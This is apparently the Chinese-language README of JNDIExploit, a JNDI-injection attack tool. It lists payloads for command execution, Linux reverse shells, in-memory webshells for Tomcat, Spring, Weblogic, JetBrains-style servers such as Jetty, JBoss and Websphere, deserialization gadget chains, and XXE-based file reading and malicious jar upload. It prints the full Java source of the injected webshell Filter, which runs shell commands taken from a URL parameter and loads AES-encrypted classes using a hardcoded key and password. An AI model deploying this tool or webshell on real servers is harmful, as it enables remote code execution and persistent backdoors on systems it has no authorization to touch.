JNDIExploit

一款用于 JNDI注入 利用的工具,大量参考/引用了 Rogue JNDI 项目的代码,支持直接植入内存shell,并集成了常见的bypass 高版本JDK的方式,适用于与自动化工具配合使用。

使用说明

使用 java -jar JNDIExploit.jar -h 查看参数说明,其中 --ip 参数为必选参数

Usage: java -jar JNDIExploit.jar [options]
  Options:
  * -i, --ip       Local ip address
    -l, --ldapPort Ldap bind port (default: 1389)
    -p, --httpPort Http bind port (default: 8080)
    -u, --usage    Show usage (default: false)
    -h, --help     Show this help

使用 java -jar JNDIExploit.jar -u 查看支持的 LDAP 格式

  • 目前支持的所有 PayloadType
    • Dnslog: 用于产生一个DNS请求,与 DNSLog平台配合使用,对Linux/Windows进行了简单的适配
    • Command: 用于执行命令,如果命令有特殊字符,支持对命令进行 Base64编码后传输
    • ReverseShell: 用于 Linux 系统的反弹shell,方便使用
    • TomcatMemshell: 用于植入Tomcat内存shell, 支持Behinder shellBasic cmd shell
    • SpringMemshell: 用于植入Spring内存shell, 支持Behinder shellBasic cmd shell
    • WeblogicMemshell: 用于植入Weblogic内存shell, 支持Behinder shellBasic cmd shell
    • JettyMemshell: 用于植入Jetty内存shell, 支持Behinder shellBasic cmd shell
    • JBossMemshell: 用于植入JBoss内存shell, 支持Behinder shellBasic cmd shell
    • WebsphereMemshell: 用于植入Websphere内存shell, 支持Behinder shellBasic cmd shell

    • URLDNS
    • CommonsBeanutis1
    • CommonsCollections1
    • CommonsCollections2
    • C3P0
    • Jre8u20
  • WebsphereBypass 中的 3 个动作:
    • list:基于XXE查看目标服务器上的目录或文件内容
    • upload:基于XXEjar协议将恶意jar包上传至目标服务器的临时目录
    • rce:加载已上传至目标服务器临时目录的jar包,从而达到远程代码执行的效果(这一步本地未复现成功,抛java.lang.IllegalStateException: For application client runtime, the client factory execute on a managed server thread is not allowed.异常,有复现成功的小伙伴麻烦指导下)

内存shell说明

  • 采用动态添加 Filter/Controller的方式,并将添加的Filter移动至FilterChain的第一位
  • 内存shell 的兼容性测试结果请参考 memshell 项目
  • Basic cmd shell 的访问方式为 /anything?type=basic&pass=[cmd]
  • Behinder shell 的访问方式需要修改冰蝎客户端(请参考 冰蝎改造之适配基于tomcat Filter的无文件webshell 的方式二自行修改),并在访问时需要添加 X-Options-Ai 头部,密码为rebeyond

植入的 Filter 代码如下:

public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("[+] Dynamic Filter says hello");
        String k;
        Cipher cipher;
        if (servletRequest.getParameter("type") != null && servletRequest.getParameter("type").equals("basic")) {
            k = servletRequest.getParameter("pass");
            if (k != null && !k.isEmpty()) {
                cipher = null;
                String[] cmds;
                if (File.separator.equals("/")) {
                    cmds = new String[]{"/bin/sh", "-c", k};
                } else {
                    cmds = new String[]{"cmd", "/C", k};
                }

                String result = (new Scanner(Runtime.getRuntime().exec(cmds).getInputStream())).useDelimiter("\\A").next();
                servletResponse.getWriter().println(result);
            }
        } else if (((HttpServletRequest)servletRequest).getHeader("X-Options-Ai") != null) {
            try {
                if (((HttpServletRequest)servletRequest).getMethod().equals("POST")) {
                    k = "e45e329feb5d925b";
                    ((HttpServletRequest)servletRequest).getSession().setAttribute("u", k);
                    cipher = Cipher.getInstance("AES");
                    cipher.init(2, new SecretKeySpec((((HttpServletRequest)servletRequest).getSession().getAttribute("u") + "").getBytes(), "AES"));
                    byte[] evilClassBytes = cipher.doFinal((new BASE64Decoder()).decodeBuffer(servletRequest.getReader().readLine()));
                    Class evilClass = (Class)this.myClassLoaderClazz.getDeclaredMethod("defineClass", byte[].class, ClassLoader.class).invoke((Object)null, evilClassBytes, Thread.currentThread().getContextClassLoader());
                    Object evilObject = evilClass.newInstance();
                    Method targetMethod = evilClass.getDeclaredMethod("equals", ServletRequest.class, ServletResponse.class);
                    targetMethod.invoke(evilObject, servletRequest, servletResponse);
                }
            } catch (Exception var10) {
                var10.printStackTrace();
            }
        } else {
            filterChain.doFilter(servletRequest, servletResponse);
        }

    }
